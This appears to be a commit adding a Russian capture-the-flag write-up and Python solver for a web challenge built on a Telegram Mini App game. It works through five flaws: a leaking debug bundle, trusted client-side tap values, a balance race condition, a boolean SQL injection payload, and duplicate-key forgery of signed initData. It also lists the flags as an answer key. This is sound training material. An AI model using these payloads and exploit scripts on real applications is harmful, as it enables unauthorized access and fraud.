Init. Commit
This commit is contained in:
@@ -0,0 +1,99 @@
|
||||
<h1 align="center">CaplagCombat</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard-critical" alt="hard"/>
|
||||
</p>
|
||||
|
||||
Caplag Combat — Telegram Mini App с тапами, карточками и рейтингом. В игровом клиенте и API находятся пять флагов. Получаем сессию через обычный вход Mini App и начинаем смотреть запросы в DevTools.
|
||||
|
||||
При запуске frontend сам отправляет `Telegram.WebApp.initData` в `/api/auth/telegram`, а сервер проверяет подпись и устанавливает HttpOnly-cookie сессии. Интерфейс запускается только на мобильных клиентах (`android`, `android_x`, `ios`), поэтому в обычном браузере и Telegram Desktop показывается экран неподдерживаемого устройства. Для перехвата запросов используем remote debugging мобильного WebView или прокси. HttpOnly-cookie из JavaScript не читается, но same-origin `fetch` в консоли WebView отправляет её автоматически.
|
||||
|
||||
## Решение
|
||||
|
||||
Нужные операции находятся в `/api/ctf/*`. Без сессии они отвечают `401`, а с сессией неизвестный путь даёт `404`, существующая POST-ручка при GET возвращает `405`, GET-ручки отвечают `200`. `OPTIONS` для разведки бесполезен, поскольку общий CORS-обработчик отвечает `204` до маршрутизации. Так находятся пять независимых задач, это `tap/claim`, `cards/upgrade`, `contracts/search`, `telegram-proof/template` и `telegram-proof`.
|
||||
|
||||
Для тапов и гонки у них отдельное состояние, поэтому ориентируемся на ответы этих эндпоинтов. Для запросов нужны cookie авторизованной сессии. В гонке используем отдельных новых игроков, а в остальных ветках сохраняем первоначальную сессию.
|
||||
|
||||
> Солвер создаёт игроков через `POST /api/auth/telegram` с `devName`, поэтому ему нужен стенд с `ALLOW_DEV_AUTH=1`. При обычном Telegram-входе запросы выполняем из авторизованной сессии мобильного WebView.
|
||||
|
||||
### Отладочный пакет
|
||||
|
||||
Клиент загружает `/api/ctf/debug-bundle.js`. Запрашиваем его напрямую из авторизованной сессии:
|
||||
|
||||
```http
|
||||
GET /api/ctf/debug-bundle.js
|
||||
```
|
||||
|
||||
Скрипт создаёт `window.__CAPLAG_DEBUG__`, внутри которого лежит первый флаг. Он читается прямо из тела ответа.
|
||||
|
||||
### Проверка параметров тапа
|
||||
|
||||
`POST /api/ctf/tap/claim` принимает `taps`, `tapPower` и `comboMultiplier`. Начисление считается как произведение этих трёх чисел, а силу тапа сервер берёт у клиента без сверки с прогрессом, ограничивая лишь диапазоны, включая `tapPower` до `10000000` и `comboMultiplier` до `100`.
|
||||
|
||||
Отправляем JSON:
|
||||
|
||||
```json
|
||||
{"taps":10,"tapPower":100000,"comboMultiplier":1}
|
||||
```
|
||||
|
||||
Получается `10 × 100000 × 1 = 1000000`. Это порог выдачи второго флага, который приходит в поле `flag`. У обычного игрока такого tap power нет, но запрос проходит все проверки диапазонов.
|
||||
|
||||
### Гонка при улучшении карточки
|
||||
|
||||
Карточка `Parallel Miner` улучшается через `POST /api/ctf/cards/upgrade` со стартовым балансом `1000`, ценой апгрейда `700` и целевым уровнем `5`. При последовательных покупках баланса хватает лишь на один уровень. Но между проверкой денег и обновлением состояния есть задержка около 125 мс, а повторной проверки баланса в `UPDATE` нет.
|
||||
|
||||
Создаём нового игрока и отправляем восемь запросов одновременно, с одной cookie и JSON-телом `{}`. Несколько запросов проходят проверку баланса до первого списания, поэтому каждый обработчик увеличивает `ctf_card_level`. Когда уровень достигает `5`, в ответе появляется флаг.
|
||||
|
||||
Если запросы не успели пройти проверку одновременно, повторяем попытку с новым игроком, поскольку у предыдущего баланс уже мог измениться. Солвер делает до четырёх таких попыток, создавая отдельного игрока для каждой.
|
||||
|
||||
### SQL-инъекция в поиске контрактов
|
||||
|
||||
Поиск `GET /api/ctf/contracts/search?q=...` вставляет `q` в SQL-условие `ILIKE`. Пробуем boolean-инъекцию, открывающую скрытые строки:
|
||||
|
||||
```text
|
||||
' OR is_hidden = true --
|
||||
```
|
||||
|
||||
Значение передаём в `q` с URL-кодированием. Условие позволяет вернуть контракт с `is_hidden = true` и четвёртым ответом в поле `flag`. Фильтр вырезает слова вроде `union` и `select` и блокирует составные запросы, но пропускает одинарную кавычку и `OR`, поэтому для этой ветки достаточно изменить логическое условие.
|
||||
|
||||
Вместо комментария можно закрыть строку поиска и открыть её снова, чтобы сохранить хвост исходного запроса:
|
||||
|
||||
```text
|
||||
' OR is_hidden = true OR title ILIKE '
|
||||
```
|
||||
|
||||
В обоих вариантах в ответе появляется скрытый контракт `ghost-contract-42`, чьё поле `flag` не очищается.
|
||||
|
||||
### Дублирование ключей
|
||||
|
||||
Берём подписанный шаблон из `GET /api/ctf/telegram-proof/template`, поле `initData`. Это отдельная CTF-строка, свежеподписанная сервером и содержащая `ctf_role=observer` и `ctf_claim=viewer`. Шаблон действителен в течение десяти минут после получения. При проверке подписи обработчик использует **первое** значение каждого ключа, а для авторизации — **последнее**.
|
||||
|
||||
Дописываем в конец шаблона дубли:
|
||||
|
||||
```text
|
||||
&ctf_role=auditor&ctf_claim=claim_hard_flag
|
||||
```
|
||||
|
||||
Затем отправляем изменённую строку в `POST /api/ctf/telegram-proof`:
|
||||
|
||||
```python
|
||||
forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag"
|
||||
payload = {"initData": forged}
|
||||
```
|
||||
|
||||
Подписанные первые значения остались прежними, поэтому подпись сходится. Проверка прав видит последние `auditor` и `claim_hard_flag` и возвращает пятый флаг.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Все этапы
|
||||
|
||||
| Этап | Флаг |
|
||||
|---|---|
|
||||
| 1 | `caplag{cc_easy_1_05873347cbcbfa04}` |
|
||||
| 2 | `caplag{cc_easy_2_a9570608a3553c4a}` |
|
||||
| 3 | `caplag{cc_medium_1_00d451298c753b3d}` |
|
||||
| 4 | `caplag{cc_medium_2_bdaef85af11b3c2b}` |
|
||||
| 5 | `caplag{cc_hard_1_ffaa2e690177555d}` |
|
||||
|
||||
Значения флагов генерируются при развёртывании стенда, поэтому на другом инстансе они будут другими (на проде, например, с префиксом `prod_` вместо `cc_`).
|
||||
@@ -0,0 +1,147 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import concurrent.futures
|
||||
import http.cookiejar
|
||||
import json
|
||||
import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
|
||||
|
||||
FLAG_RE = re.compile(r"caplag\{[^{}]+\}")
|
||||
|
||||
|
||||
class Client:
|
||||
def __init__(self, base_url: str):
|
||||
self.base_url = base_url.rstrip("/")
|
||||
self.cookies = http.cookiejar.CookieJar()
|
||||
self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cookies))
|
||||
|
||||
def cookie_header(self) -> str:
|
||||
return "; ".join(f"{cookie.name}={cookie.value}" for cookie in self.cookies)
|
||||
|
||||
def request(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> tuple[int, bytes]:
|
||||
data = None
|
||||
headers = {}
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = cookie
|
||||
req = urllib.request.Request(self.base_url + path, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with self.opener.open(req, timeout=8) as response:
|
||||
return response.status, response.read()
|
||||
except urllib.error.HTTPError as exc:
|
||||
return exc.code, exc.read()
|
||||
|
||||
def json(self, method: str, path: str, body: dict | None = None, cookie: str | None = None) -> dict:
|
||||
status, raw = self.request(method, path, body, cookie)
|
||||
if status >= 400:
|
||||
raise RuntimeError(f"{method} {path} returned HTTP {status}: {raw[:200]!r}")
|
||||
return json.loads(raw.decode())
|
||||
|
||||
|
||||
def random_name() -> str:
|
||||
suffix = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
|
||||
return f"ctf-solver-{suffix}"
|
||||
|
||||
|
||||
def authenticate(client: Client) -> str:
|
||||
client.json("POST", "/api/auth/telegram", {"devName": random_name()})
|
||||
cookie = client.cookie_header()
|
||||
if not cookie:
|
||||
raise RuntimeError("auth did not set a session cookie")
|
||||
return cookie
|
||||
|
||||
|
||||
def flag_from_text(text: str) -> str:
|
||||
match = FLAG_RE.search(text)
|
||||
if not match:
|
||||
raise RuntimeError(f"flag not found in response: {text[:300]!r}")
|
||||
return match.group(0)
|
||||
|
||||
|
||||
def solve_debug_bundle(client: Client) -> str:
|
||||
status, raw = client.request("GET", "/api/ctf/debug-bundle.js")
|
||||
if status != 200:
|
||||
raise RuntimeError(f"debug bundle returned HTTP {status}")
|
||||
return flag_from_text(raw.decode())
|
||||
|
||||
|
||||
def solve_tap_claim(client: Client) -> str:
|
||||
data = client.json(
|
||||
"POST",
|
||||
"/api/ctf/tap/claim",
|
||||
{"taps": 10, "tapPower": 100000, "comboMultiplier": 1},
|
||||
)
|
||||
if "flag" not in data:
|
||||
raise RuntimeError(f"tap claim did not return flag: {data}")
|
||||
return data["flag"]
|
||||
|
||||
|
||||
def solve_race_upgrade(base_url: str, attempts: int = 4) -> str:
|
||||
for _ in range(attempts):
|
||||
client = Client(base_url)
|
||||
cookie = authenticate(client)
|
||||
|
||||
def upgrade_once() -> dict:
|
||||
worker = Client(base_url)
|
||||
return worker.json("POST", "/api/ctf/cards/upgrade", {}, cookie=cookie)
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=8) as pool:
|
||||
futures = [pool.submit(upgrade_once) for _ in range(8)]
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
try:
|
||||
data = future.result()
|
||||
except Exception:
|
||||
continue
|
||||
if data.get("flag"):
|
||||
return data["flag"]
|
||||
raise RuntimeError("race upgrade did not reach target level")
|
||||
|
||||
|
||||
def solve_contract_search(client: Client) -> str:
|
||||
query = urllib.parse.urlencode({"q": "' OR is_hidden = true --"})
|
||||
data = client.json("GET", f"/api/ctf/contracts/search?{query}")
|
||||
for contract in data.get("contracts", []):
|
||||
if contract.get("flag"):
|
||||
return contract["flag"]
|
||||
raise RuntimeError(f"hidden contract flag not found: {data}")
|
||||
|
||||
|
||||
def solve_telegram_proof(client: Client) -> str:
|
||||
template = client.json("GET", "/api/ctf/telegram-proof/template")["initData"]
|
||||
forged = template + "&ctf_role=auditor&ctf_claim=claim_hard_flag"
|
||||
data = client.json("POST", "/api/ctf/telegram-proof", {"initData": forged})
|
||||
if not data.get("success") or not data.get("flag"):
|
||||
raise RuntimeError(f"telegram proof was not accepted: {data}")
|
||||
return data["flag"]
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("url", nargs="?", default="http://127.0.0.1:18080")
|
||||
args = parser.parse_args()
|
||||
|
||||
client = Client(args.url)
|
||||
authenticate(client)
|
||||
|
||||
flags = [
|
||||
solve_debug_bundle(client),
|
||||
solve_tap_claim(client),
|
||||
solve_race_upgrade(args.url),
|
||||
solve_contract_search(client),
|
||||
solve_telegram_proof(client),
|
||||
]
|
||||
for flag in flags:
|
||||
print(flag)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in New Issue
Block a user